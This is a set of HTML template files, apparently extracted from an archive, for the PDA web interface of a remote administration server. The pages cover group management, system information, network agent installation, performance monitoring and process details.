<!--<td nowrap><font size=0><?IF EVENT.USER = ""?>&CONFIG.NA&<?else?><?&EVENT.USER?><?endif?></font></td>-->
<td nowrap><font size=-1><?&EVENT.TIME _dtms?></font></td>
<!--<td nowrap><font size=-1><?&EVENT.COMPUTER?></font></td>-->
</tr>
<?next?>
</tbody>
</table>
<?else // no events?>
<center>&MSG.ADMIN.EVENTS.NONE&</center>
<?endif?>
<?endif?>
</td>
</tr>
</body>
</html>
ׇ9"PDA_groupadd.htmlX8|<?ratmpl?>
<?nocache?>
<?include "macros.html"?>

<html>
<head>
<?include "title.inc"?>
</head>

<body onload="document.forms.groupadd.NAME.select()">
<?
if REQ.WINERRNUM
set WINERRNUM=REQ.WINERRNUM 
set WINERRMSG=REQ.WINERRMSG
endif

usemacro WINERRDLG()
?>

<table bgColor=#2a669a cellpadding="0" cellspacing="0" border=0 width="100%"><tr>
<td valign="center"><img src="img/ico_group.png?bg=%COLOR.CapBack%" align="middle">&nbsp;<b><FONT color=white>&ADMIN.USERMANAGER.ADDGROUP:REQ.TYPE&<?if REQ.MSG?> - &ADMIN.USERMANAGER:REQ.MSG&<?endif?></FONT></b></td>
<td align=right><?usemacro PDANAV()?></td>
</tr></table>

<center>

<form name=groupadd action="PDA_groupedit.html" method=get>
<input type=hidden name=TYPE value="&REQ.TYPE&">
<input type=hidden name=OP value=add>

<table width="100%">
<tr>
<td align="right" valign=middle>$ADMIN.USERMANAGER.GROUP.NAME$:&nbsp;</td>
<td valign=middle><input type=text name=NAME value="$REQ.NAME$" maxlength=256 size=13></td>
</tr>
<tr>
<td valign=top  align="right">&ADMIN.USERMANAGER.GROUP.COMMENT&:&nbsp;</td>
<td><textarea name=comment rows=4 cols=13>&REQ.COMMENT&</textarea></td>
</tr>
</table><br>

<input type=submit value="&DIALOG.APPLY&">
<input type=button value="&DIALOG.BACK&" onclick="location.replace('/PDA_userlist.html?tab=1')">
</form>
</center>
</body>
</html>
o̊$PDA_groupedit.htmlr
'|<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<?action "groupedit"?>

<html>
<head>
<?include "title.inc"?>

</head>

<body>
<?
if OP="delete"
redirect "/PDA_userlist.html?type=" TYPE "&name=" NAME "&msg=" MSG
elseif OP="rename"
redirect "/PDA_grouprename.html?type=" TYPE "&name=" NAME "&winerrnum=" WINERRNUM "&winerrmsg=" WINERRMSG
elseif OP="add"
redirect "/PDA_groupadd.html?type=" TYPE "&name=" NAME "&comment=" COMMENT "&winerrnum=" WINERRNUM "&winerrmsg=" WINERRMSG
endif

usemacro WINERRDLG()
?>

<table bgColor=#2a669a cellpadding="0" cellspacing="0" border=0 width="100%"><tr>
<td valign="center"><img src="img/ico_user.png?bg=%COLOR.CapBack%" align="middle">&nbsp;<b><FONT color=white><?if LORES?><?if TYPE="LOCAL"?>&ADMIN.USERMANAGER.LGROUPNAME&<?else?>&ADMIN.USERMANAGER.GGROUPNAME&<?endif?>
<?else?>&ADMIN.USERMANAGER.EDITGROUP:TYPE&<?if MSG?> - &ADMIN.USERMANAGER:MSG&<?endif?><?endif?></FONT></b></td>
<td align=right><?usemacro PDANAV()?></td>
</tr></table>

<center>

<form action="&TEMPLATE&" method=get>
<input type=hidden name=NAME value="&NAME&">
<input type=hidden name=TYPE value="&TYPE&">
<input type=hidden name=OP value=update>

<table>
<tr>
<td colspan=2>&ADMIN.USERMANAGER.GROUP.NAME&:&nbsp;<b>&NAME&</b></td>
</tr>

<tr>
<td valign=top >&ADMIN.USERMANAGER.GROUP.COMMENT&:</td></tr>
<tr>
<td><textarea name=comment rows=4 cols=23>&COMMENT&</textarea></td></tr>
<tr>
<td>&ADMIN.USERMANAGER.GROUP.MEMBERS&:</td></tr>
<tr>
<td>
<select name=DEL size=5 multiple>
<?if MEMBERS?>
<?enum MEMBERS?>
<option value="&MEMBER.TYPE&&MEMBER.NAME&">(&ADMIN.USERMANAGER.GROUP.MTYPE:MEMBER.TYPE&) &MEMBER.NAME&</option>
<?next?>
<?endif?>
</select>
</td>
</tr><tr><td>&ADMIN.USERMANAGER.GROUP.NONMEMBERS&:</td></tr><tr>
<td>
<select name=ADD size=5 multiple>

<?if NONMEMBERS?>
<?enum NONMEMBERS?>
<option value="&NONMEMBER.TYPE&&NONMEMBER.NAME&">(&ADMIN.USERMANAGER.GROUP.MTYPE:NONMEMBER.TYPE&) &NONMEMBER.NAME&</option>
<?next?>
<?endif?>
</select>
</td>
</tr>
</table>

<table align=center>
<tr>
<?if ACCESS.W?>
<td><input type=submit value="&DIALOG.APPLY&"></td>
<td><input type=button value="&ADMIN.USERMANAGER.BTNRENAME&" onclick="location.replace('/PDA_grouprename.html?type=$TYPE$&name=$NAME$')"></td>
<?endif?>
<?if ACCESS.D?>
<td><input type=submit value="&DIALOG.DELETE&" onclick="this.form.OP.value='delete'; return confirm('$ADMIN.USERMANAGER.CONFIRMDELGROUPSHORT$');"></td>
<?endif?>
<tr><td align=center><input type=button value="&DIALOG.BACK&" onclick="location.replace('/PDA_userlist.html?tab=1')"></td>
</tr>
</table>
</form>
</center>
</body>
</html>
t(PDA_grouprename.html#k|<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>
<head>
<?include "title.inc"?>

</head>

<body onload="document.forms.rename.newname.select()">

<table bgColor=#2a669a cellpadding="0" cellspacing="0" border=0 width="100%"><tr>
<td valign="center"><img src="img/ico_user.png?bg=%COLOR.CapBack%" align="middle">&nbsp;<b><FONT color=white>
&ADMIN.USERMANAGER.TITLE&</FONT></b></td>
<td align=right><?usemacro PDANAV()?></td></tr>
</table>

<center>
<?
if REQ.WINERRNUM
set WINERRNUM=REQ.WINERRNUM
set WINERRMSG=REQ.WINERRMSG
endif

usemacro WINERRDLG()
?>

<form name=rename action="groupedit.html" method=get>
<input type=hidden name=name value="&REQ.NAME&">
<input type=hidden name=type value="&REQ.TYPE&">
<input type=hidden name=op value=rename>

<br><br>
<table>

<tr>
<td align=right>&ADMIN.USERMANAGER.GROUP.NAME&:
<td><b>&REQ.NAME&</b></td>
</tr>

<tr>
<td>&ADMIN.USERMANAGER.NEWNAME&:&nbsp;
<td><input type=text name=newname value="&REQ.NAME&" maxlength=256 size=17></td>
</tr>
</table><br><br>

<table>
<tr>
<td><input type=submit value="&DIALOG.APPLY&"></td>
<td><input type=button value="&DIALOG.BACK&" onclick="location.replace('/PDA_groupedit.html?type=$REQ.TYPE$&name=$REQ.NAME$')"></td>
</tr>
</table>
</form>
</center>

</body>
</html>
PDA_info.htmlp#}<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html background="ThreeDFace">
<head>
<?include "title.inc"?>
</head>

<body>
<?
action "cpuinfo"
action "osinfo"
action "rainfo"
usemacro WINERRDLG()
?>
<?if UI="secrem"?>
<div>
<div><?usemacro TITLEICON("home")?>&nbsp;&INFO.SRTITLE&</div>
<br>
<b>&MSG.WELCOMELINE&</b>
<?
action "rainfo"
usemacro WINERRDLG()
?>
&MSG.INFO.USER&: <b>%USERNAME%</b><br><br>
<?action "timeget"?>
&MSG.ADMIN.TIME.CURRENT&: <b><a href="/pda_time.html"><?&DATETIME _dtml?></a></b><br>
&MSG.INFO.LICENSE.RAWORK&<br>
<?action "rebootat"?>
<?if REBOOTAT.TIME?><b><a href="pda_restartat.html">&MSG.ADMIN.REBOOTAT.TIME&</a></b><?endif?>
<?else?>
<table bgColor=#2a669a cellpadding="0" cellspacing="0" border=0 width="100%"><tr>
<td valign="center"><img src="img/menu_home.png?bg=%COLOR.CapBack%" align="middle"><b><FONT color=white>&SRVNAME&</FONT></b></td>
<td align=right><?usemacro PDANAV()?></td>
</tr></table>
<?endif?>
<P>&nbsp;</P>

<!-- PERFORMANCE -->
<?
action "meminfo"
usemacro WINERRDLG()
?>
<table border="1" cellpadding="0" cellspacing="0" width="100%" align=center>
<tr><th colspan="5" bgcolor="#5060c0"><b><FONT color=white><?&INFO.HARDWARE.PERFORMANCE?></FONT></b></th></tr>
<tr bgcolor="#8abdf0">
<td><b><?&INFO.HARDWARE.TYPE?></b>&nbsp;</td><td><b><?&INFO.HARDWARE.SIZE?></b></td>
<td><b><?&INFO.HARDWARE.FREE?></b>&nbsp;</td><td><b><?&INFO.HARDWARE.USEDP?></b></td></tr>
<tr><td><?&INFO.HARDWARE.PHYSICAL?>&nbsp;</td>
<td align="right">&nbsp;<?&MEMP.SIZE _szm?></td>
<td align="right">&nbsp;<?&MEMP.FREE _szm?></td>
<td align="right"><?&MEMP.USEDP?>%</td></tr>
<tr><td><?&INFO.HARDWARE.COMMIT?>&nbsp;</td>
<td align="right">&nbsp;<?&MEMC.SIZE _szm?></td>
<td align="right">&nbsp;<?&MEMC.FREE _szm?></td>
<td align="right"><?&MEMC.USEDP?>%</td></tr>
<tr><td><?&PERF.TYPE.CPU?>&nbsp;</td>
<td colspan=3 align="right"><?usemacro PERCENTBAR(CPU.USAGE)?></td>
</tr>
</table>
<P>&nbsp;</P>

<?if UI="secrem"?>
<!-- MOST RECENT ACCESSES -->
<?
action "recent"
usemacro WINERRDLG()
?>
<table width="100%" align=center>
<tr><th colspan="5"><?&INFO.CONNS.RECENT?></th></tr>
<tr>
<td><?&INFO.CONNS.HOST?></td>
<td><?&INFO.CONNS.USER?></td>
<td><?&INFO.CONNS.LOGIN?></td>
<td><?&INFO.CONNS.LOGOUT?></td>
<td><?&INFO.CONNS.IDLE?></td>
</tr>
<?enum RECENT?>
<tr>
<td><?&RECENT.ADDR?><?if RECENT.HOST?> (<?&RECENT.HOST?>)<?endif?></td>
<td><?&RECENT.USER?></td>
<td><?&RECENT.LOGIN_dtms?></td>
<?if RECENT.ONLINE?>
<td><?&INFO.CONNS.ONLINE?> (<?&RECENT.LOGIN_for?>)</td>
<td><?&RECENT.IDLE_spn?></td>
<?else?>
<td><?&RECENT.LOGOUT_dtms?></td>
<td></td>
<?endif?>
</tr>
<?next?>
</table>
<?endif?>

<!-- HARDWARE INFO -->
<table align=center width="100%">
<b><?&INFO.HARDWARE.TITLE?></b><br>
<b><?&INFO.HARDWARE.CPU?>:</b> <?&INFO.HARDWARE.CPUINFO?> <?if CPU.COUNT != "1"?>(x &CPU.COUNT&)<?endif?><br>
<?if OS.USER // got an interactive user?>
<b><?&INFO.HARDWARE.USER?>:</b> <?&OS.USER?><br>
<?endif?>
<b><?&INFO.HARDWARE.BIOS?>:</b> <?&BIOS.SYSTEM.VER?>, <?&BIOS.SYSTEM.DATE?><br>
<b><?&INFO.HARDWARE.SCREEN?>:</b> <?&SCREEN.WIDTH?> x <?&SCREEN.HEIGHT?> <?&SCREEN.DEPTH?>bits Video Bios: <?&BIOS.VIDEO.DATE?>

<br>
<br>

<!-- OPERATING SYSTEM -->
<b><?&INFO.OS.TITLE?></b>
<b><?&OS.NAME?> <?&OS.VER?> (build <?&OS.BUILD?>) <?&OS.CSD?></b><br>
<?if OS.INSTALLED?><?&INFO.OS.INSTALLED?> <?&OS.INSTALLED _dtml?><br><?endif?>
<?if OS.BOOTED?><?&INFO.OS.BOOTED?> <?&OS.BOOTED _dtml?> (<?&OS.BOOTED _ago?>)<br><?endif?>
</table>

<br><br>

<!-- SECURITY -->
<div align=center>
<table border="1" cellpadding="0" cellspacing="0" align=center ><tr><th bgcolor="#5060c0"><b><FONT color=white>&MENU.SECURITY&</FONT></b></th></tr>
<tr><td align="center">
<?&INFO.SECURITY.AUTH?>:&nbsp;<?if NTLM?>NTLM<?else?>Usr/Pwd<?endif?><?if RSAAUTH?>, &MSG.LOGIN.RSA.NAME&<?endif?><br>
<?&INFO.SECURITY.TRANS?>:
<?if SSL?>
<?&INFO.SECURITY.SECURE?>&nbsp;<img src="img/ico_evt_lock.png?bg=%COLOR.TblHdrBack%" align="absmiddle" width=16 height=16>
<?else?>
<?&INFO.SECURITY.INSECURE?>&nbsp;<img src="img/ico_evt_warn.png?bg=%COLOR.TblHdrBack%" align="absmiddle" width=16 height=16>
<?endif?>
</td></tr>
</table></div>
<br><br>

<?if UI="secrem"?>
</div>
<?else?>
<table align=center >
<br><?&INFO.LICENSE.TO?>:<br>
<?if LICENSEES?>
<?enum LICENSEES?>
<b><?&LICENSEE.NAME?></b>&nbsp;
<?next?>
<?endif?>
<br><br>
&INFO.LICENSE:LICENSE.TYPE&
<br><br>
<?if not BRAND.SCRIPTLOGIC?>
<?&INFO.LICENSE.ID?>: <br><b><?=LICENSE.ID?></b>
<?endif?>
<?endif?>
</table>
</body>
</html>
}&PDA_netInstPDA.html|J}<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head>
<?include "title.inc"?>
</head>

<body>

<table bgColor=#2a669a cellpadding="0" cellspacing="0" border=0 width="100%"><tr>
<td valign="center"><img src="img/menu_home.png?bg=%COLOR.CapBack%" align="middle">&nbsp;<b><FONT color=white>&MSG.CONFIG.NETMAINT.ACTION.INSTALL&</FONT></b></td>
<td align=right><?usemacro PDANAV()?></td>
</tr></table>

<form action="netmaint.html" method="post">
<input type="hidden" name="op" value="install">
<input type="hidden" name="domain" value="&REQ.DOMAIN&">
<input type="hidden" name="computer" value="&REQ.COMPUTER&">

<table>
<tr>
<td>&MSG.CONFIG.NETMAINT.COMPUTER&:</td>
<td>&REQ.LIST&</td>
</tr>
<tr>
<td>&MSG.PATH&:</td>
<td><input type="text" name="path" value="&REQ.PATH&" size="15"></td>
</tr>
<tr>
<td>&MSG.CONFIG.NETMAINT.PORT&:</td>
<td><input type="text" name="port" value="&REQ.PORT&" size="5"></td>
</tr>
<tr><td colspan="2" align="center">
<input type="submit" name="submit" value="&MSG.CONFIG.NETMAINT.ACTION.INSTALL&">
<input type="button" name="cancel" value="&MSG.DIALOG.CANCEL&" onclick="window.location='PDA_netmaint.html'">
</td></tr>
</table>

</form>

</center>
</div>
</body>
</html>
"PDA_netmaint.html&}<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head>
<?include "title.inc"?>


</head>

<body>


<table bgColor=#2a669a cellpadding="0" cellspacing="0" border=0 width="100%"><tr>
<td valign="center"><img src="img/menu_home.png?bg=%COLOR.CapBack%" align="middle">&nbsp;<b><FONT color=white>&MSG.CONFIG.NETMAINT.TITLE&</FONT></b></td>
<td align=right><?usemacro PDANAV()?></td>
</tr></table>

<center>

<?if NTLM?>

<fieldset>
&MSG.CONFIG.NETMAINT.NTLMNOTE&<br>
<br>
<input type="button" name="logout" value="&MSG.LOGOUT.TITLE&" onclick="parent.location='default.html?logout=yes'"><br>
</fieldset><br><br>

<?elseif REQ.OP?>

<?action "rainst"?><?usemacro WINERRDLG()?>
<?if RAINST?><?enum RAINST?>
<fieldset>
<legend>&MSG.CONFIG.NETMAINT.OP:REQ.OP&</legend>

<div align="left">
<?if RAINST.CMD?><pre>&RAINST.CMD& &RAINST.ARG&</pre><br><?endif?>
<?if RAINST.OUTPUT?><pre>&RAINST.OUTPUT&</pre><br><?endif?>
</div>

<?if RAINST.ERROR?><b>&MSG.DIALOG.ERROR&:</b> <i>&RAINST.ERROR&</i><br><?endif?>

</fieldset><br><br>
<?next?><?endif?>

<input type="button" name="back" value="&MSG.DIALOG.BACK&" onclick="window.location='$TEMPLATE$?domain=%REQ.DOMAIN%&%RND%'">
<br><br>

<?else?>

<?action "ralist"?>
<?if WINERRMSG?><b>&MSG.DIALOG.ERROR&:</b> <i>&WINERRMSG&</i><br><br><?endif?>

<form action="PDA_netInstPDA.html" method="post">
<input type="hidden" name="op" value="">
<input type="hidden" name="domain" value="&REQ.DOMAIN&">
<script language="JavaScript">
var comp = new Array();
function tick(inp) {
var nticks = 0;
var nstarted = 0;
var nstopped = 0;
var form = inp.form;
for (var i = 0; i < form.elements.length; i++) {
var n = form.elements[i];
if (n.type == 'checkbox' && n.checked) {
nticks++;
var c = comp[n.value];
if (c && c.stat == 'started') nstarted++;
if (c && c.stat == 'stopped') nstopped++;
}
}
if (form.install) {
form.install.disabled = !(nticks != 0);
}
if (form.start) {
form.start.disabled = !(nstarted == 0 && nstopped != 0);
}
if (form.stop) {
form.stop.disabled = !(nstarted != 0 && nstopped == 0);
}
}
function addComp(name, path, port, status) {
var o = new Object();
o.name = name;
o.path = path;
o.port = port;
o.stat = status;
comp[name] = o;
}
function inst(inp) {
var form = inp.form;
var list = "";
var path = "";
var port = "";
for (var i = 0; i < form.elements.length; i++) {
var n = form.elements[i];
if (n.type == 'checkbox' && n.checked) {
var computer = comp[n.value];
if (list.length) list += ", ";
list += computer.name;
if (path.length == 0) path = computer.path;
if (port.length == 0) port = computer.port;
}
}
if (path.length == 0) path = "$SRVDIR$";
if (port.length == 0) port = "$SRVPORT$";
form.op.value = 'install';
form.path.value = path;
form.port.value = port;
form.list.value = list;
if (list.length > 0)
form.submit();
}
</script>
<br><br>
<table width="100%" border=1 cellpadding=2 cellspacing=0 align=center>
<?if COMPUTER.COUNT>0?>
<tr bgColor=#2a669a>
<th colspan="2"><font color=white size=0>&MSG.CONFIG.NETMAINT.COMPUTER&</font></th>
<th><font color=white size=0>&MSG.CONFIG.NETMAINT.PLATFORM&</font></th>
<th><font color=white size=0>&MSG.CONFIG.NETMAINT.VERSION&</font></th>
<th><font color=white size=0>&MSG.ADMIN.SERVICE.STATUS&</font></th>
<th><font color=white size=0>&MSG.CONFIG.NETMAINT.PORT&</font></th>
</tr>
<?endif?>
<?enum COMPUTERS?>
<?if COMPUTER.NAME?>
<?if not COMPUTER.ERROR?><?set INSTALL="1"?><?endif?>
<script language="JavaScript">addComp('$COMPUTER.NAME$', '$COMPUTER.RA.DIR$', '$COMPUTER.RA.PORT$', '$COMPUTER.RA.STATUS$');</script>
<label for="chk=ENUM.INDEX=">
<tr valign="middle" <?disabled COMPUTER.DISABLED?>>
<td><input type="checkbox" id="chk=ENUM.INDEX=" name="computer" value="&COMPUTER.NAME&" onclick="tick(this)" <?disabled COMPUTER.DISABLED?>></td>
<td><font size=0>
<b>
<?if COMPUTER.RA.URL?>
&COMPUTER.NAME&
<?endif?>
</b></font>
<?if COMPUTER.COMMENT?>(&COMPUTER.COMMENT&)<?endif?>
</td>
<td><font size=0><?if COMPUTER.PLATFORM?>&COMPUTER.PLATFORM& &COMPUTER.VERSION& <?if COMPUTER.ROLE?>(&MSG.CONFIG.NETMAINT.ROLE:COMPUTER.ROLE&)<?endif?><?else?>&MSG.CONFIG.NA&<?endif?></font></td>
<?if COMPUTER.RA.INSTALLED?>
<td title="&COMPUTER.RA.NAME&"><font size=0><?if COMPUTER.RA.VERSION?>&COMPUTER.RA.VERSION&<?else?>&MSG.CONFIG.NA&<?endif?></font></td>
<td>&MSG.ADMIN.SERVICE.STATUS:COMPUTER.RA.STATUS&</td>
<td><font size=0><?if COMPUTER.RA.PORT?>&COMPUTER.RA.PORT&<?else?>&MSG.CONFIG.NA&<?endif?></font></td>
<?elseif COMPUTER.RA.SVCERR?>
<td colspan="3"><font size=0><b>&MSG.DIALOG.ERROR&:</b> <i>&COMPUTER.RA.SVCERR&</i></font></td>
<?elseif COMPUTER.ERROR?>
<td colspan="3"><font size=0><b>&MSG.DIALOG.ERROR&:</b> <i>&COMPUTER.ERROR&</i></font></td>
<?else?>
<td colspan="3"><font size=0><i>&MSG.CONFIG.NETMAINT.NOTINST&</i></font></td>
<?endif?>
</tr>
</label>
<?else?>
<tr>
<td colspan="6"><font size=0><a href="&TEMPLATE&?domain=%DOMAIN.NAME%">&DOMAIN.NAME&</a></font></td>
</tr>
<?endif?>
<?next?>
</table><br>

<?if COMPUTER.RA.INSTALLED?>
<a href="&TEMPLATE&?op=uninstall&computer=%COMPUTER.NAME%&domain=%REQ.DOMAIN%">&MSG.CONFIG.NETMAINT.ACTION.UNINSTALL&</a>
<?endif?>

<input type="hidden" name="list" value="">
<input type="hidden" name="path" value="">
<input type="hidden" name="port" value="">

<?if INSTALL?>
<input type="button" name="install" value="&MSG.CONFIG.NETMAINT.ACTION.INSTALL&" onclick="inst(this)">
<input type="submit" name="start"   value="&MSG.ADMIN.SERVICE.TIP.START&" onclick="this.form.op.value='start'" >
<input type="submit" name="stop"    value="&MSG.ADMIN.SERVICE.TIP.STOP&"  onclick="this.form.op.value='stop'">
<?endif?>
<input type="button" name="refresh" value="&MSG.DIALOG.UPDATE&" onclick="window.location.replace('$TEMPLATE$?domain=%REQ.DOMAIN%&%RND%')">
<?if REQ.DOMAIN?>
<input type="button" name="root" value="&MSG.DIALOG.ROOT&" onclick="window.location='$TEMPLATE$?%RND%'">
<input type="button" name="back" value="&MSG.DIALOG.BACK&" onclick="history.back()">
<br>
<?endif?>

</form>

<?endif // NTLM?>
</center>
</div>
</body>
</html>
@ PDA_perfmon.html4~<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head>
<?include "title.inc"?>
</head>

<body>
<?action "perfmon" // get name?><?usemacro WINERRDLG()?>


<table bgColor=#2a669a cellpadding="0" cellspacing="0" border=0 width="100%"><tr>
<td valign="center"><img src="img/menu_perf.png?bg=%COLOR.CapBack%" align="middle">&nbsp;<b><FONT color=white>
&MSG.PERF.TYPE:REQ.TYPE&<?if STAT.NAME?> (&STAT.NAME&)<?endif?></FONT></b></td>
<td align=right><?usemacro PDANAV()?></td></tr>
</table>

<center>

<?defmacro PERF(RES)?>
<?action "perfmon" REQ.RES = RES?>
<?if SAMPLES?>
<table>
<tr><td>&MSG.PERF.FREQ&: <?&STAT.FREQ_spn?></td></tr>
<tr><td>
<?&MSG.PERF.MIN?>: <?&STAT.MIN?>%,
<?&MSG.PERF.MAX?>: <?&STAT.MAX?>%,
<?&MSG.PERF.AVG?>: <?&STAT.AVG?>%
<td></tr>
<tr><td>
<img id="map=RES=" src="/perfchart.png?type=%REQ.TYPE%&res=%RES%&index=%REQ.INDEX%&bg=%COLOR.DlgBack%&fg=%COLOR.ServHi%&%RND%" border="0" width="200" height="82">
</td></tr>
</table>
<?endif?>
<?endmacro?>

<?if REQ.TYPE has "mem"?>
<!-- on PDAs this is on the top-->
<table width="100%"><tr><td align=center>
<form action="&TEMPLATE&" method="get">
<select name="type" size="1" onchange="this.form.submit()">
<option value="mem"  <?selected REQ.TYPE="mem"?>><?&MSG.PERF.TYPE.MEM?>
<option value="memp" <?selected REQ.TYPE="memp"?>><?&MSG.PERF.TYPE.MEMP?>
<option value="memc" <?selected REQ.TYPE="memc"?>><?&MSG.PERF.TYPE.MEMC?>
</select>
<input type="submit" value="&MSG.DIALOG.UPDATE&">
</form>
</td></tr></table>
<?endif?>

<table>
<tr>
<td><?usemacro PERF(0)?></td></tr>
<tr>
<td><?usemacro PERF(1)?></td></tr>
<tr>
<td><?usemacro PERF(2)?></td></tr>
<tr>
<td><?usemacro PERF(3)?></td>
</tr>
</table>
<br>
<br>


<?if REQ.TYPE is "cpu"?>
<?if CPUS > 1?>
<p>
<?enum CPUS?>
<input type="button" value="&CPU.NAME&" onclick="window.location='$TEMPLATE$?type=$REQ.TYPE$&index=$CPU.INDEX$'">
<?next?>
<input type="button" value="&MSG.PERF.TOTAL&" onclick="window.location='$TEMPLATE$?type=$REQ.TYPE$'">
</p>
<?endif?>
<?if ACTIONS has "-procinfo-"?>
<?action "perfmon" REQ.TYPE = "cpubypid"?>
<?if PROCS > 0?>
<table border="1" cellpadding="2" cellspacing="0" width="100%" align=center>
<tr>
<th colspan="5" bgColor=#2a669a><font size=-1 color=white><?&PERF.INTENSE?></font></th>
</tr>
<tr>
<th bgColor=#a0a0e0><font size=0 color=white><?&ADMIN.THREADS.ID?></font></th>
<th bgColor=#a0a0e0><font size=0 color=white><?&MSG.NAME?></font></th>
<th bgColor=#a0a0e0><font size=0 color=white><?&ADMIN.PROCESS.TIME?></font>&nbsp;</th>
<th bgColor=#a0a0e0><font size=0 color=white><?&ADMIN.PROCESS.CPUP?></font></th>
</tr>
<?enum PROCS?>
<tr onclick="window.location='PDA_procinfo.html?pid=&PROC.ID&&back=%TEMPLATE%%3ftype%3dcpu'" style="cursor: hand">
<td align=center><font size=-1><?&PROC.ID?></font></td>
<td><font size=-1><?if PROC.ID > 0?><a href="PDA_procinfo.html?pid=&PROC.ID&&back=%TEMPLATE%%3ftype%3dcpu"><?&PROC.NAME_mx17?></a><?else?><?&PROC.NAME_mx17?><?endif?></font></td>
<td align=right><font size=-1><?&PROC.TIME_spn?></font></td>
<td align=right><font size=-1><?&PROC.TIMEP?>%</font></td>
</tr>
<?next?>
</table><br>
<?endif?>
<?endif?>

<?elseif REQ.TYPE is "drv"?>

<form action="&TEMPLATE&" method="get">
<input type="hidden" name="type" value="&REQ.TYPE&">
<select name="index" size="1" onchange="this.form.submit()">
<?enum DRIVES?>
<option value="&DRIVE.INDEX&" <?selected REQ.INDEX=DRIVE.INDEX?>><?&DRIVE.NAME?>
<?next?>
<option value="" <?selected REQ.INDEX=""?>><?&MSG.PERF.TOTAL?>
</select>
<input type="submit" value="&MSG.DIALOG.UPDATE&">
</form>


<?elseif REQ.TYPE has "net"?>

<form action="&TEMPLATE&" method="get">
<select name="index" size="1" onchange="this.form.submit()">
<?enum ADAPTERS?>
<option value="&ADAPTER.INDEX&" <?selected REQ.INDEX=ADAPTER.INDEX?>><?&ADAPTER.NAME?>
<?next?>
<option value="" <?selected REQ.INDEX=""?>><?&MSG.PERF.TOTAL?>
</select>
<select name="type" size="1" onchange="this.form.submit()">
<option value="neti" <?selected REQ.TYPE="neti"?>><?&MSG.PERF.TYPE.NETI?>
<option value="neto" <?selected REQ.TYPE="neto"?>><?&MSG.PERF.TYPE.NETO?>
</select>
<input type="submit" value="&MSG.DIALOG.UPDATE&">
</form>

<?if STAT.NAME?><?if ACTIONS has "-perfcfg-"?>
<?action "perfcfg" REQ.ADAPTER.NAME = STAT.NAME?>
<form action="&TEMPLATE&" method="post">
<input type="hidden" name="type" value="&REQ.TYPE&">
<input type="hidden" name="index" value="&REQ.INDEX&">
<input type="hidden" name="adapter.name" value="&STAT.NAME&">
<?if REQ.TYPE = "neti"?><?&MSG.PERF.MAXBWI?>:&nbsp;<input type="text" name="adapter.bpsi" value="&ADAPTER.BPSI&" size="4">&nbsp;<?&MSG.PERF.KBPS?><?endif?>
<?if REQ.TYPE = "neto"?><?&MSG.PERF.MAXBWO?>:&nbsp;<input type="text" name="adapter.bpso" value="&ADAPTER.BPSO&" size="4">&nbsp;<?&MSG.PERF.KBPS?><?endif?>
<input type="submit" value="&MSG.DIALOG.APPLY&">
</form>
<?endif?><?endif?>

<?endif?>

</center>
</body>
</html>
Nj>"PDA_procinfo.html
[~<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head>
<?include "title.inc"?>
</head>

<body>
<?
if REQ.PRIORITY
// need to update priority class
action "procupd"
usemacro WINERRDLG()
endif
if REQ.CTRL = "kill" // need to kill process?
action "prockill"
usemacro WINERRDLG()
endif
action "procinfo" // get detailed process information
usemacro WINERRDLG()
?>
<table bgColor=#2a669a cellpadding="0" cellspacing="0" border=0 width="100%"><tr>
<td valign="center"><img src="img/menu_manage.png?bg=%COLOR.CapBack%" align="middle"><b><FONT color=white><?&PROC.NAME?></FONT></b></td>
<td align=right><?usemacro PDANAV()?></td>
</tr></table>


<?if WINERRNUM?>
&WINERRMSG&
<?else?>
<!-- GENERAL -->

<table align="center">
<tr><td align='right'><?&DESC?>:</td><td><b><?&PROC.DESC?></b></td></tr>
<tr><td align='right'><?&VERSION?>:</td><td><?&PROC.VER?></td></tr>
<tr><td align='right'><?&ADMIN.PROCESS.PIDLONG?>:</td><td><?&PROC.ID?></td></tr>
<tr><td align='right'><?&ADMIN.PROCESS.PRIORCLASS?>:</td>
<td><select name="priority">
<?enum PRIORITIES?><option value="&PRIORITY.VALUE&" <?selected PROC.PRIORITY=PRIORITY.VALUE?>><?&ADMIN.PROCESS.PRIOR:PRIORITY.VALUE?></option><?next?>
</select></td>
</tr>
<?if ISNT?><tr><td align='right'><?&TYPE?>:</td><td><?&PROC.TYPE?></td></tr><?endif?>
<?if PROC.USER?><tr><td align='right'><?&ADMIN.PROCESS.ACCOUNT?>:</td><td><?&PROC.USER?></td></tr><?endif?>
<tr><td align='right'><?&ADMIN.PROCESS.PARENTID?>:</td><td><a href="&TEMPLATE&?pid=&PARENT.ID&&cnt=&REQ.CNT&"><?&PARENT.ID?></a></td></tr>
<tr><td align='right'><?&ADMIN.PROCESS.PARENT?>:</td><td><?&PARENT.PATH?></td></tr>
<?if PROC.HANDLES?><tr><td align='right'><?&ADMIN.PROCESS.HANDLES?>:</td><td><?&PROC.HANDLES?></td></tr><?endif?>
<tr><td align='right'><?&ADMIN.PROCESS.THREADS?>:</td><td><?&PROC.THREADS?></td></tr>
<?if ISNT?>
<tr><td align='right'><?&ADMIN.PROCESS.PFAULTS?>:</td><td><?&PROC.PGFAULTS?></td></tr>
<tr><td align='right'><?&ADMIN.PROCESS.PEAKWKSET?>:</td><td><?&PROC.WKSETMAX _szk?></td></tr>
<tr><td align='right'><?&ADMIN.PROCESS.WKSET?>:</td><td><?&PROC.WKSET _szk?></td></tr>
<tr><td align='right'><?&ADMIN.PROCESS.PEAKMEM?>:</td><td><?&PROC.SWAPMAX _szk?></td></tr>
<tr><td align='right'><?&ADMIN.PROCESS.PAGEFILE?>:</td><td><?&PROC.SWAP _szk?></td></tr>
<tr><td align='right'><?&ADMIN.PROCESS.TOTALMEM?>:</td><td><?&PROC.MEMORY _szk?></td></tr>
<?endif?>
<tr><td align='right'><?&ADMIN.PROCESS.COMMAND?>:</td><td><?&PROC.PATH?></td></tr>
</table>

<div>

<br><center>
<input type="button" value="&ADMIN.PROCESS.KILL&" onclick="window.location='pda_proclist.html?pid=%PROC.ID%&ctrl=kill&%RND%'"></a>
